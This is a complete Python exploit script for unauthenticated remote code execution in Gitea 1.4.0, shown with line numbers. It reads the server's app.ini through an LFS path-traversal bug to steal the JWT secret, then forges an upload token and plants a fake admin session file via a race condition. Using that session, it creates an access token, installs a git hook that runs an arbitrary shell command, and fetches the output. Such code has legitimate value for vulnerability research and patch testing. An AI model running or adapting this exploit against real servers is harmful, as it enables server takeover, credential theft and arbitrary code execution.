1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200 | # pip install PyJWT requests
# pip install dulwich==0.19.0
from requests import Request, Session, get, post
import jwt
import time
import base64
import os
import re
import time
import threading
import random
import string
import urlparse
import urllib
from dulwich import porcelain
print "Gitea 1.4.0"
print "Unauthenticated Remote Code Execution"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "https://twitter.com/KacperSzurek"
print "https://www.youtube.com/c/KacperSzurek"
def decode_base64(data):
missing_padding = len(data) % 4
if missing_padding != 0:
data += '='* (4 - missing_padding)
return base64.urlsafe_b64decode(data)
def get_random():
return ''.join(random.choice(string.lowercase) for x in range(6))
def get_csrf(path):
temp = s.get("{}{}".format(url, path))
content = temp.text.encode("utf-8")
csrf = re.search('name="_csrf" content="([^"]+)"', content)
if not csrf:
print "[-] Cannot get CSRF token"
os._exit(0)
return csrf.group(1)
command = "whoami"
url = 'http://192.168.1.103:3000/'
session_value = '11session'
r = get('{}api/v1/repos/search?limit=1'.format(url))
try:
out = r.json()['data']
except:
print "[-] Probably not gitea url"
os._exit(0)
if len(out) != 1:
print "[-] There is no public repos"
os._exit(0)
out = out[0]
public_repo_id = int(out['id'])
public_user_id = int(out['owner']['id'])
public_repo_url = out['full_name']
print "[+] Found public repo {} ID {}".format(public_repo_url, public_repo_id)
json = {
"Oid": "....custom/conf/app.ini",
"Size": 1000000, # This needs to be bigger than file
"User" : "a",
"Password" : "a",
"Repo" : "a",
"Authorization" : "a"
}
s = Session()
r = s.post('{}{}.git/info/lfs/objects'.format(url, public_repo_url), json=json, headers={'Accept': 'application/vnd.git-lfs+json'})
if '"Unauthorized"' not in r.text or '"expires_at"' not in r.text:
print "[-] Cannot create fake OID for app.ini"
os._exit(0)
print "[+] Fake OID for app.ini created"
r = get(r'{}{}.git/info/lfs/objects/....custom%2fconf%2fapp.ini/sth'.format(url, public_repo_url))
if "RUN_USER" not in r.text:
print "[-] Cannot get app.ini"
os._exit(0)
secret_match = re.search('LFS_JWT_SECRET *= *(.*?)[\r\n]', r.text)
if not secret_match:
print "[-] Cannot find JWT secret in app.ini"
os._exit(0)
jwt_secret = str(secret_match.group(1).strip())
print "[+] Found secret: {}-".format(jwt_secret)
jwt_secret = decode_base64(jwt_secret)
# This needs to be INT, not STR
current_time = int(time.time())-(60*60*24*1000)
current_time2 = int(time.time())+(60*60*24*1000)
token = jwt.encode({'user': public_user_id, 'repo': public_repo_id, 'op': 'upload', 'exp': current_time2, 'nbf': current_time}, jwt_secret, algorithm='HS256')
print "[+] Generate jwt token for user {} and repo {}".format(public_user_id, public_repo_id)
print token
json['Oid'] = '....data/sessions/1/1/{}'.format(session_value)
r = s.post('{}{}.git/info/lfs/objects'.format(url, public_repo_url), json=json, headers={'Accept': 'application/vnd.git-lfs+json'})
if '"Unauthorized"' not in r.text or '"expires_at"' not in r.text:
print "[-] Cannot create fake OID for session"
os._exit(0)
print "[+] Fake OID for session created"
def race_condition_thread():
print "\n[+] Race condition thread started"
ts = Session()
req = Request('PUT', r'{}{}.git/info/lfs/objects/....data%2fsessions%2f1%2f1%2f{}'.format(url, public_repo_url, session_value) , data=open('session.tmp', "rb").read())
prepped = req.prepare()
# We need to set explicit big content length for race condition
prepped.headers['Content-Length'] = 150000
prepped.headers['Accept'] = 'application/vnd.git-lfs'
prepped.headers['Content-Type'] = 'application/vnd.git-lfs'
prepped.headers['Authorization'] = 'Bearer {}'.format(token)
# This will hang because of big Content-Length
response = ts.send(prepped)
print "\n[-] Race condition thread ended before exploit finish, try again"
thread = threading.Thread(target=race_condition_thread, args=())
thread.daemon = True
thread.start()
print "\n[+] Sleep 5 seconds"
time.sleep(5)
print "[+] Try using fake cookie: {}".format(session_value)
s = Session()
s.headers.update({'Cookie': 'i_like_gitea={}.tmp;'.format(session_value)})
r = s.get('{}api/v1/user'.format(url))
data = r.json()
if not "id" in data or data['id'] != 1:
print "[-] Impersonation failed"
os._exit(0)
user_name = data['login']
user_id = data['id']
print "[+] Login as {} ID {}".format(user_name, user_id)
csrf = get_csrf('user/settings/applications')
post_token = s.post('{}user/settings/applications'.format(url), data={'_csrf':csrf, 'name':get_random()}, allow_redirects=False)
try:
login_token = post_token.cookies['macaron_flash']
login_token = dict(urlparse.parse_qsl(urllib.unquote(login_token)))
login_token = login_token['info']
except:
print "[-] Cannot create token"
os._exit(0)
print "[+] Login token: {}".format(login_token)
csrf = get_csrf('repo/create')
admin_repo_name = get_random()
print "[+] Try create repo {}".format(admin_repo_name)
repo_post = s.post("{}repo/create".format(url), data={'_csrf':csrf, 'uid':user_id, 'repo_name':admin_repo_name, 'readme': 'Default', 'auto_init':'on'}, allow_redirects=False)
if repo_post.status_code != 302:
print "[-] Cannot create admin repo"
os._exit(0)
csrf = get_csrf('{}/{}/settings/hooks/git/update'.format(user_name, admin_repo_name))
hook_posts = s.post('{}{}/{}/settings/hooks/git/update'.format(url, user_name, admin_repo_name), data={'_csrf':csrf, 'content':"#!/bin/sh\n{}>objects/info/exploit".format(command)}, allow_redirects=False)
if hook_posts.status_code != 302:
print "[-] Cannot updatehook"
os._exit(0)
clone_url = '{}{}:{}@{}{}/{}.git'.format(url[0:7], login_token, "", url[7:], user_name, admin_repo_name)
temp_repo_dir = get_random()
r = porcelain.clone(clone_url, temp_repo_dir)
porcelain.commit(r, get_random())
porcelain.push(r, clone_url, "master")
command_output = s.get('{}{}/{}/objects/info/exploit'.format(url, user_name, admin_repo_name))
if command_output.status_code != 200:
print "[-] Cannot get exploit output"
os._exit(0)
print command_output.text.encode("utf-8")
|
